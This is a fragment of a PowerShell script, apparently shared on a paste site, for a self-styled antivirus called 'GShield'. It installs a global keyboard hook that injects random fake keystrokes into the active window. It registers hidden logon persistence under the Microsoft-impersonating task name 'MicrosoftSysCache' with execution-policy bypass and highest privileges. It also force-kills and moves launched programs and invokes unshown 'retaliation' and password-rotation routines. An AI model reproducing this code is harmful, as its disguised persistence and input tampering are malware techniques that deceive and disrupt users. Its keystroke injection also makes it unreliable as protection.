# Runs in a background runspace so it doesn't block the main loop
if (-not ([System.Management.Automation.PSTypeName]'KeyScrambler').Type) {
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
using System.Threading;
public class KeyScrambler {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const uint INPUT_KEYBOARD = 1;
private const uint KEYEVENTF_UNICODE = 0x0004;
private const uint KEYEVENTF_KEYUP = 0x0002;
[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT { public uint vkCode, scanCode, flags, time; public IntPtr dwExtraInfo; }
[StructLayout(LayoutKind.Sequential)]
public struct INPUT { public uint type; public INPUTUNION u; }
[StructLayout(LayoutKind.Explicit)]
public struct INPUTUNION { [FieldOffset(0)] public KEYBDINPUT ki; }
[StructLayout(LayoutKind.Sequential)]
public struct KEYBDINPUT { public ushort wVk, wScan; public uint dwFlags, time; public IntPtr dwExtraInfo; }
[StructLayout(LayoutKind.Sequential)]
public struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam, lParam; public uint time; public int x, y; }
[DllImport("user32.dll", SetLastError=true)] static extern IntPtr SetWindowsHookEx(int id, IntPtr fn, IntPtr mod, uint tid);
[DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr h);
[DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr h, int n, IntPtr w, IntPtr l);
[DllImport("user32.dll")] static extern bool GetMessage(out MSG m, IntPtr hw, uint f, uint t);
[DllImport("user32.dll")] static extern bool TranslateMessage(ref MSG m);
[DllImport("user32.dll")] static extern IntPtr DispatchMessage(ref MSG m);
[DllImport("user32.dll")] static extern uint SendInput(uint n, INPUT[] inp, int sz);
[DllImport("user32.dll")] static extern IntPtr GetMessageExtraInfo();
[DllImport("user32.dll")] static extern short GetKeyState(int vk);
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string n);
private delegate IntPtr LLKProc(int n, IntPtr w, IntPtr l);
private static IntPtr _hook = IntPtr.Zero;
private static LLKProc _proc;
private static Random _rnd = new Random();
static bool ModifiersDown() {
return (GetKeyState(0x10) & 0x8000) != 0 ||
(GetKeyState(0x11) & 0x8000) != 0 ||
(GetKeyState(0x12) & 0x8000) != 0;
}
static void InjectFake(char c) {
var inp = new INPUT[2];
inp[0].type = INPUT_KEYBOARD;
inp[0].u.ki.wVk = 0; inp[0].u.ki.wScan = (ushort)c;
inp[0].u.ki.dwFlags = KEYEVENTF_UNICODE;
inp[0].u.ki.dwExtraInfo = GetMessageExtraInfo();
inp[1] = inp[0]; inp[1].u.ki.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP;
SendInput(2, inp, Marshal.SizeOf(typeof(INPUT)));
Thread.Sleep(_rnd.Next(1, 7));
}
static void Flood() {
if (_rnd.NextDouble() < 0.5) return;
int n = _rnd.Next(1, 7);
for (int i = 0; i < n; i++) InjectFake((char)_rnd.Next('A', 'Z' + 1));
}
static IntPtr Hook(int n, IntPtr w, IntPtr l) {
if (n >= 0 && w == (IntPtr)WM_KEYDOWN) {
var k = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(l, typeof(KBDLLHOOKSTRUCT));
if ((k.flags & 0x10) == 0 && !ModifiersDown() && k.vkCode >= 65 && k.vkCode <= 90) {
if (_rnd.NextDouble() < 0.75) Flood();
var r = CallNextHookEx(_hook, n, w, l);
if (_rnd.NextDouble() < 0.75) Flood();
return r;
}
}
return CallNextHookEx(_hook, n, w, l);
}
public static void Start() {
if (_hook != IntPtr.Zero) return;
_proc = Hook;
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, Marshal.GetFunctionPointerForDelegate(_proc), GetModuleHandle(null), 0);
if (_hook == IntPtr.Zero) return;
MSG msg;
while (GetMessage(out msg, IntPtr.Zero, 0, 0)) { TranslateMessage(ref msg); DispatchMessage(ref msg); }
}
}
'@ -ErrorAction SilentlyContinue
}
function Start-KeyScrambler {
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA' # required for message loop
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$ps = [powershell]::Create()
$ps.Runspace = $rs
[void]$ps.AddScript({ [KeyScrambler]::Start() })
$ps.BeginInvoke() | Out-Null
Write-Log "KeyScrambler started (background runspace - keylogger blinding active)" "CYAN"
}
# ==================== PERSISTENCE ====================
function Install-Persistence {
$taskName = "MicrosoftSysCache"
$scriptPath = $PSCommandPath
schtasks.exe /Delete /TN $taskName /F 2>$null
$cmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$scriptPath`""
schtasks.exe /Create /TN $taskName /TR $cmd /SC ONLOGON /RL HIGHEST /F 2>$null | Out-Null
Write-Log "Persistence installed as $taskName"
}
# ==================== MAIN ====================
try {
if (!(Test-Path $LogDir)) { New-Item $LogDir -ItemType Directory -Force | Out-Null }
if (!(Test-Path $QuarDir)) { New-Item $QuarDir -ItemType Directory -Force | Out-Null }
Write-Log "GShield v3.0 starting - PID: $PID"
Invoke-SelfProtection
Install-Persistence
Install-PasswordRotator
Load-Cache
Start-ContinuousModuleMonitor
Start-KeyScrambler
Get-EventSubscriber -SourceIdentifier "ProcGuard" -EA 0 | Unregister-Event -Force
function Get-ScanTargets {
if ($Path -and $Path.Count -gt 0) { return $Path }
Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Root -and (Test-Path $_.Root) } | Select-Object -ExpandProperty Root
}
if ($IntervalMinutes -le 0) {
Get-ScanTargets | ForEach-Object { Invoke-Scan $_ }
exit
}
Write-Log "Real-time protection | Memory Scanner | Continuous Module Monitor | KeyScrambler | RootkitKiller | Retaliate | PasswordRotator - all active"
# Real-time process guard via WMI event
Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStartTrace" -SourceIdentifier "ProcGuard" -Action {
$procPath = $Event.SourceEventArgs.NewEvent.ExecutablePath
if (!$procPath -or (Test-Excluded $procPath)) { return }
$result = Invoke-DeepScan $procPath
if ($result.Score -ge $script:QuarantineScore) {
Stop-Process -Id $Event.SourceEventArgs.NewEvent.ProcessID -Force -EA 0
Move-Item $procPath "$QuarDir\$([IO.Path]::GetFileName($procPath))" -Force -EA 0
Write-Log "BLOCKED+QUARANTINED [score=$($result.Score)]: $procPath | $($result.Reasons)" "ALERT"
}
} | Out-Null
$cycle = 0
while ($true) {
$cycle++
Write-Log "Cycle $cycle - scanning all drives..."
Get-ScanTargets | ForEach-Object { Invoke-Scan $_ }
Invoke-MemoryScan
Invoke-RootkitScan # ETW HTTP rootkit check
Invoke-RetaliateMonitorCycle # browser phone-home retaliation
Save-Cache
Start-Sleep -Seconds ($IntervalMinutes * 60)
}
} catch {
Write-Log "FATAL ERROR: $_" "ERROR"
}
Editor is loading...
Leave a Comment